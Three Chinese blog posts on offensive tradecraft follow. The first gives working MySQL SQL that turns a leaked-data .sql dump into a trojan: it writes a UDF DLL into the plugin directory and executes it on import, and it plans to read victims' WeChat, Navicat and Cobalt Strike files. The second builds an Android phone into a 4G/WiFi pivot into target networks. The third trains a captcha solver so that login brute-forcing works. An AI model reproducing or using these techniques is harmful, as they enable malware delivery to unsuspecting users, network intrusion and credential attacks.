前言
之前聊天的时候nux提了一嘴,能不能在裤子里插🐎,几百MB发给别人,一般警惕性差的就直接运行了,哪怕警惕性好一点的,几百M或者几百G的裤子想要检查也检查不了。这个想法我一直记得,于是乎今天就来研究研究。
为什么选用.sql呢?主要是目标受众好,并且对这个玩意警惕性不高,大家洗数据的时候就直接丢进mysql里运行了,一般也不会想太多,并且和压缩包钓鱼不同,只要你把文件放出去,就会有一堆人如同苍蝇一般直接受到吸引,蜂拥而来。
具体想法基本就是UDF,直接写出DLL然后运行。能RCE的基本就是这样了。
然而实际上利用条件有点苛刻,并不能百分百上线,有以下几个问题
- mysql用户权限问题
- mysql插件路径问题
- 写出时候的动态路径问题
- mysql插件路径权限问题
前面三个都好解决,最后一个是真的无解,所以遇到那些带secure开关的mysql基本就没办法上线,linux默认安装一般都带这个,但是好在,windows下这个问题并不太多,同时那些钓鱼目标群体洗数据一般也用的是windows洗,所以问题不太大。
对于用户权限问题,我们只需要在制作我们的钓鱼sql的时候,多设计到几个库的操作,大部分人就会知难而退,图省事,直接用root权限跑了(没错就是我)。至于如何获取mysql插件也很简单,直接用select @@basedir as basePath from dual拼接一下就行。
最复杂的其实是动态路径问题,我之前一直以为outfile不能用变量,结果今天查了一下,有prepare和execute这种好东西。可以动态指行sql语句,那么这些要素不都齐全了?直接进行一个代码的缝合
代码
直接上代码
SET @BasePath = (select @@basedir as basePath from dual) ;
SET @fullOutputPath = CONCAT(@BasePath,'lib\\plugin\\','udf.dll');
SET @Ok_Path = REPLACE(@fullOutputPath,'\\','\\\\');
set @q1 = concat("SELECT 'this_is_evil_dll' INTO OUTFILE/* or dumpfile*/ '",@Ok_Path,"';");
select @Ok_Path;
prepare s1 from @q1;
execute s1;deallocate prepare s1;
create function eval_function returns string soname 'udf.dll';
select eval_function ();
写出dll后用udf的方式上线就行
一些解决办法
有时候不同版本的mysql的插件路径不同,并且64位windows/linux,32位windows/linux,所需要的路径/二进制文件也不同,这些改如何处理呢?
我的看法就是直接进行一个暴力试错,反正几百M的sql,多写几行别人也看不出来,不知道哪个版本的mysql?那就把每个版本的路径都写上去,不知道哪个版本的系统?那就把每个版本的二进制hex都写进去,总有一个会成功的.jpg
进阶
其实,如果不考虑上线,只考虑探针的话,我们select一些内容就行了,但是如果直接select不知道路径的情况下,我们能获取到的内容又不多,比如在linux下就只能读取到passwd,hosts这类东西。
但是对于这份.sql使用者的群体敏感性,我们基本能确认这些使用者用的不是红/蓝队,就是黑/灰产,对于他们这些用户来说,我们熟悉的cs/Navicat/qq/微信这些敏感文件都储存与C:\users\用户名\xxxxx下, 再此当中,只有用户名是不固定的?
有没有一种可能,只要我们获取到了用户名,其他这些数据也就随便我们读取了呢?
甚至读取这些数据所需要的权限更低,甚至写出文件不会触发杀软?
~ 所以接下来的目标,就是研究sql脚本如何自动获取路径,达成自动化探针的效果。 ~
通过这个文章看了一下:MySQL蜜罐获取攻击者微信ID
好的,要素又齐全了。
可以通过C:\Windows\PFRO.log大概率获取到电脑使用者的用户名。
那么直接通过load_file读取文件,然后使用mysql自带的left()、right()、substring()、substring_index()这类函数,不就能成了?
未完待续(哪天心情好了补代码)
前言
考虑整一个近源网络跳板,平均下来便宜+简单的实现就是弄一个安卓手机了,4G卡用来控制手机,然后用WIFI接入,再选择是否通过4G卡转发。感觉可以试着整一个,毕竟自带4G上网模块又有wifi模块不考虑性能低端机成本又低
稍微看了下第一个问题就是安卓默认机制是不能同时使用wifi和4G。
第二个是得考虑如何转发emmmmm
看了一下,其实也不需要魔改安卓系统,倒是可以用命令行进行一些操作。具体操作基本就是insmod加载wifi驱动然后启用网卡然后用命令行连接ap然后写路由就行
大概有了点思路,就弄一个openvpn,作为服务写到安卓系统里默认启动,然后再做一个c2控制器,用来控制连接wifi,断开wifi等以及修改openvpn路由等操作,然后这个c2控制器永远走4G流量,必要的时候可以通过c2控制器修改路由表进行桥接wifi流量啊,转发wifi流量啊或者让指定程序只走wifi流量这样子。。大概就能简单又轻松的实现想要的功能了。
现在的问题是,有什么机器是,便宜(<=100)又电池(>=3500毫安)又大又能解锁(虽然我觉得低端机大多数都是直接拿exp就能拿root的)的
更新
后面思考了一下,其实并不一定需要内置openvpn,其实只要内置一个标准的tty给反弹出来,需要的时候根据需求起动相关服务就行。本篇文章就记录下当你有一个安卓shell时候的一些小操作。
获得temux环境
直接使用adb,如果你想在adb中直接操作termux,可以在adb中使用如下代码
resize > /dev/null
export PREFIX='/data/data/com.termux/files/usr'
export HOME='/data/data/com.termux/files/home'
export LD_LIBRARY_PATH='/data/data/com.termux/files/usr/lib'
export PATH="/data/data/com.termux/files/usr/bin:/data/data/com.termux/files/usr/bin/applets:$PATH"
export LANG='en_US.UTF-8'
export SHELL='/data/data/com.termux/files/usr/bin/bash'
cd "$HOME"
exec "$SHELL" -l
注意,此时会遇到一个坑!有时候运行如上代码会发现没有权限问题,这时候一定要使用su切换到root,运行ls -al /data/data/com.termux查看termux的用户是哪个用户,然后exit推出root权限之后用su切换过去。
因为有时候adb的默认权限是shell,会引发一些权限问题。如图

配置wifi/4g/otg共通
这章才是本篇的重头戏,毕竟openvpn配不来无所谓,实在不行起个frp也是一样凑合的打,不一定要openvpn。但是不能wifi和4g同时上网那可是不行的,不然遇到奇怪的网络环境甚至是不出网的网络环境,我们的这个跳板也就基本白费了。
默认手机基本是根据网络路由来连接的,我们只需要设置一下路由就行。
比如我们的4G使用的是rmnet_data3网卡,wifi走的是wlan0网卡
那么我们只需要使用命令
ip rule add to 我们管理端IP/32 table rmnet_data3
就可以让管理端IP通过4g出网
使用iw连接目标wifi
iw list // 列出WIFI网卡的性能
svc wifi enable //启用wifi模块
iw dev wlan0 scan // 扫描附近可连接WIFI AP
iw wlan0 connect dswei // 连接到不加密的WIFI,WIFI名字为dswei
iw wlan0 connect dswei keys d:0:baiwenwang123 // 连接到WEP加密的WIFI,WIFI名为dswei,d: default, 0: 第0个密码
连接成功以后可以在手机上看到有设备连接,这样我们就能连进目标内网进行愉快的玩耍啦
配置开机自启动
adb切换usb传输模式
进阶:path 添加模拟hid设备支持
这章可能会咕咕咕
openvpn(废弃,没啥用,不如直接frp反弹个个出来)
第一步,既然是作为跳板,其实直接部署一个frp或者natsocks直接转发出一个socks5出来是最最最简单的状态,并且这些东西都是用golang编写的,直接跨平台交叉编译arm版本的frp或者natsocks就行。简单粗暴。但是考虑到内网实战环境,比如一些路由、数据嗅探(这个是主要的)、桥接等等七七八八的问题。所以打算整一套openvpn先。
为了后续方便,我们先安装一个termux先。termux自带了openvpn,理论上可以直接pkg install openvpn,然后我看它给的单独那个二进制有点问题。起不来,还阉割了许多东西。所以直接进行一个openvpn的编译就行。
正巧,termux能很方便的给我们整出一个完整的编译链。所以接下来的调试我们都直接用termux进行,然而在电脑上操作手机都是直接使用adb,如果你想在adb中直接操作termux,可以在adb中使用如下代码
resize > /dev/null
export PREFIX='/data/data/com.termux/files/usr'
export HOME='/data/data/com.termux/files/home'
export LD_LIBRARY_PATH='/data/data/com.termux/files/usr/lib'
export PATH="/data/data/com.termux/files/usr/bin:/data/data/com.termux/files/usr/bin/applets:$PATH"
export LANG='en_US.UTF-8'
export SHELL='/data/data/com.termux/files/usr/bin/bash'
cd "$HOME"
exec "$SHELL" -l
注意,此时会遇到一个坑!有时候运行如上代码会发现没有权限问题,这时候一定要使用su切换到root,运行ls -al /data/data/com.termux查看termux的用户是哪个用户,然后exit推出root权限之后用su切换过去。
因为有时候adb的默认权限是shell,会引发一些权限问题。如图

之后在termux中的shell里,我们只需要
pkg install clang
pkg install cmake
安装基础环境,之后直接去github下载openvpn,github地址:https://github.com/OpenVPN/openvpn
切换成root进行编译,因为安卓的一些读写机制,/sdcard这类地方是没办法设置权限的,所以尽量把下载的数据放到/tmp或者放到termux目录(/data/data/com.termux/files/home)下,这类地方才可以设置权限。
给configure设置u+x权限,然后执行后。会出现以下各种奇奇怪怪的问题,首先就是缺少依赖

这种直接使用pkg安装就行,比如如图的lzo,我们可以用pkg install liblzo-dev解决。
再或者就是遇到这种:

直接在编译后面加上它的--disable-xxxxx就行,总之它说啥就是啥。加上这些之后,基本configure就会通过生成MakeFile文件啦。

之后自信满满的make,就会发现,啊

所以直接运行pkg install automake,之后使用automake就能编译出这些依赖。

之后使用make等待编译成功就行了。然后就可以使用make install了。这时候你就会发现一些/或者/usr这些目录是没有办法写的,因为挂载的时候就没有相关权限。这时候我们就需要运行df -h,查看相关挂载,并使用mount -o rw,remount /来对相关目录就行重新读写挂载
MakeFile默认的安装目录是/usr/local,我这挂载点是/,所以直接运行mount -o rw,remount /就行了。如果要修改地址就自己修改脚本修改到其他地址即可。
然后你就会发现openvpn安装成功了。

直接使用easy-rsa,直接去github上下载,直接下载release,然后chmod下就能使用了。之后直接参考:[OpenVPN服务部署
][8]

生成完证书,再根据需要写一下配置文件,最后运行 openvpn --config /your_conf_path.conf就可以跑起来啦

前言
很多时候,外网打点,资产就那么点,社工钓鱼又钓不进去,那么怎么办呢?这时候只能传统艺能爆破来解决问题了。
但是,抛开IP先不说,现在登录多多少少都会有加上验证码用于防止爆破,但是这种东西肯定不能阻挡我们的脚步。所以最简单的办法就是整个自动用于验证码识别的玩意。下至OCR上至机器学习乃至购买云打码。因为我们穷云服务肯定整不起,OCR识别率又堪忧,所以最简单的办法就是去github整一个。
说明
本篇就是一个踩坑文章(然而作者的项目写的非常不错,并没有遇到什么坑hhhh),用于记录,没有什么技术含量。我才不会说我是实在想不出写什么东西才水一篇文章的呢,哼~
最近快毕业了,什么毕业论文啊个人音乐会啊毕业音乐会啊专场啊以及最讨厌的查缺补漏(指舞蹈重修)。虽然说这些事并不麻烦,但是确实都是事,每天就这么磨洋工一点一点的磨磨唧唧但是也确实在解决。导致我用一般只日站,很少沉下心来写这些完整的学习报告了。虽然说日站过程中也会遇到一些新鲜的东西,例如这次就遇到很多K8s啊,云安全啊但是这些并没有完整的,全面的研究,导致博客一直不知道写啥。所以就搞了水了一些实践报告,网络上也有他人的实践记录。但是我会尽量把所有的坑给列出来。
话不多说,开整。
开整
既然不是自己写项目而是用东西,那肯定是怎么简单怎么来,去年还是前年我用过
https://github.com/nickliqian/cnn_captcha 项目跑过训练,效果确实不错,然而截至至今(2022年4月22日),该项目大部分依赖已经爆炸,遂直接放弃
最后还是选择使用captcha_trainer 项目来使用。凑巧的是,作者也在FreeBuf上发布过文章,详细说明了如何使用该项目,详情可以看这里
验证码识别新革命:源码+通用识别模型
然而作者对于Linux部分写的很详细,对于Windows部分却是一笔带过。刚好我用的是windows,就顺带记录了。
话不多说,开整。
安装CUDA
首先是下载项目,直接git clone就行,重点是第二部
目前为止,如果你是使用CPU训练,那么可以跳过下面这一步骤,因为源码已经加入代码默认支持CPU了,不需要进行过多操作,如果是GPU,就需要安装CUDA和CuDnn。直接根据文章,从官网下载
下载完以上上面,首先得先安装CUDA,安装完毕之后,解压CUDNN,然后根据cudnn/install-guide,
找到CUDA安装目录,这里假设CUDA安装目录是C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\
复制 bin\cudnn*.dll 到 C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\vx.x\bin.复制 include\cudnn*.h 到 C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\vx.x\include.复制 lib\x64\cudnn*.lib 到 C:Program FilesNVIDIA GPU Computing ToolkitCUDAvx.xlibx64.`
之后把CUDA目录,也就是C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\添加到PATH环境变量中,注意不带bin。
然后还得安装zlib运行库,不然会出现Could not locate zlibwapi.dll. Please make sure it is in your library path,也是根据上面的文档,从ZLIB DLL下载压缩包,把里面的各种.lib文件和.dll文件全部一股脑丢PATH下,你可以选择创建一个PATH,反正我是全部直接丢到system32下。通过以上这些,CUDA就安装好了
安装本体
我用的是python3.10.3,实际上是可以直接使用的
回到我们项目文件,我们可以使用作者的venv,也可以直接莽上去,开干。我的建议是用一些pyvenv。
直接python -m pip install pyvenv。然后记得使用cmd,执行cd venv/ && Scripts/active.bat,看到前面出现(venv)就说明环境载入成功了。
然后就是修改requirements.txt文件,把最后的tf-nightly-gpu==2.8.0.dev20211021改成tf-nightly-gpu即可。
如果是用CPU渲染,就直接安装tf-nightly就行。
记得使用pip安装的时候,务必使用代理,可以用自带--proxy命令指明socks5代理或者像我一样用Proxifier直接把pipy.org加入代理规则里。
安装完requirements.txt之后,直接运行python app.py,还会出现一些依赖错误比如pillow啊这些的,剩下的基本就是缺啥装啥就好了。
之后运行python app.py。

就能打开界面。
训练
对于开源项目来说,我们可以直接把源码部分扒出来,根据作者的要求,只需要生成格式为 验证码原始内容_md5.png 类型的图片放置到目录下就行。我们直接随手谷歌找了一个python验证码生成的代码生成一些数据试试。
import os
import random
import io
from PIL import Image
from PIL import ImageDraw
from PIL import ImageFont
import hashlib
def random_color():
c1 = random.randint(0, 255)
c2 = random.randint(0, 255)
c3 = random.randint(0, 255)
return c1, c2, c3
def generate_picture(width=120, height=35):
image = Image.new('RGB', (width, height), random_color())
return image
def random_str():
random_num = str(random.randint(0, 9))
random_low_alpha = chr(random.randint(97, 122))
random_char = random.choice([random_num, random_low_alpha])
return random_char
def draw_str(count, image, font_size):
draw = ImageDraw.Draw(image)
# 获取一个font字体对象参数是ttf的字体文件的目录,以及字体的大小
font_file = os.path.join('andale-mono.ttf')
font = ImageFont.truetype(font_file, size=font_size)
temp = []
for i in range(count):
random_char = random_str()
draw.text((10+i*30, -2), random_char, random_color(),font=font)
temp.append(random_char)
valid_str = "".join(temp) # 验证码
return valid_str, image
def noise(image, width=120, height=35, line_count=3, point_count=20):
draw = ImageDraw.Draw(image)
for i in range(line_count):
x1 = random.randint(0, width)
x2 = random.randint(0, width)
y1 = random.randint(0, height)
y2 = random.randint(0, height)
draw.line((x1, y1, x2, y2), fill=random_color())
# 画点
for i in range(point_count):
draw.point([random.randint(0, width), random.randint(0, height)], fill=random_color())
x = random.randint(0, width)
y = random.randint(0, height)
draw.arc((x, y, x + 4, y + 4), 0, 90, fill=random_color())
return image
def valid_code():
image = generate_picture()
valid_str, image = draw_str(4, image, 35)
image = noise(image)
m = hashlib.md5()
with io.BytesIO() as memf:
image.save(memf, 'PNG')
data = memf.getvalue()
m.update(data)
md5 = m.hexdigest()
f = open("demo/trains/{}_{}.png".format(valid_str,md5),"wb")
image.save(f, 'png')
f.close()
return valid_str,md5
if __name__ == '__main__':
for i in range(1,60000):
valid_code()
在项目目录下创建一个demo/trains目录,并运行该代码,就会在该目录生成59999张验证码。之后我们在app.py里的project区随便新建一个项目名

之后点击Trining Path里的Browse选项,把我们刚刚生成的目录添加进去

之后点击底下的Make Dataset把我们生成的打包成TFRecords文件,然后点Start Tringing就可以开始训练了

如果你的显卡好的话,大概几分钟,这6W张图片就能训练完成。效率还是很快的
之后我们点击Test,会让我们选择文件夹,我们就可以用这个来验证识别率辣。保险起见我们用上面的代码生成一个Test2文件夹来存放新的。
然后运行Test,测试下效果。

可以看出来效果还是挺不错的,对于开源项目使用这个方法,就可以快速训练出匹配的模型,成功率还是非常高的。重点是非常的方便快捷
部署以及武器化
作者自带了一个框架captcha_platform,我们可以直接使用该项目。
用作部署于服务器的话,没必要上GPU,CPU跑模型就行,所以可以跳过上面的安装CUDA和cuDNN的操作。
安装方法也很简单,直接运行python -m pip install -r requirements.txt就行。
注意,如果是本机部署(和上一个项目同一台机器)的推荐删除requirements.txt里的tf-nightly项,避免环境造成冲突。
之后把我们在captcha_trainer里生成的模型,一般目录是Project/模型名称/out,里的两个文件夹,复制到captcha_platom目录下,然后运行tornado_server.py就行。

然后根据文档。运行tornado_server.py后会起一个API。地址为http://127.0.0.1:19952/captcha/v1,请求方式为application/json,具体参数查看作者的FreeBuf文章即可

我们试着调用一下

总体就大功告成辣。
通用化识别
以上我们就针对单一,开源,容易采集的项目进行了识别,但是对于那些闭源的目标来说,单纯用我们python生成的验证码跑识别成功率基本就没法看了。想要提高成功率,基本就是得对不同字体(包括与斜度),不同背景(花纹,纯色,甚至图片背景),不同扭曲程度(PS魔术棒!),不同噪点的验证码进行一个数据的生成然后在进行投喂。同时,传入参数的时候也比不能忘记把图片的分辨率来调整成我们训练时候的分辨率。来尽可能模仿目标。
结尾 & 后续
解决了验证码这个拦路虎,还有一个问题就是banIP了,下次看看怎么解决这个吧,估计会出一个云函数实践相关的,咕咕咕了。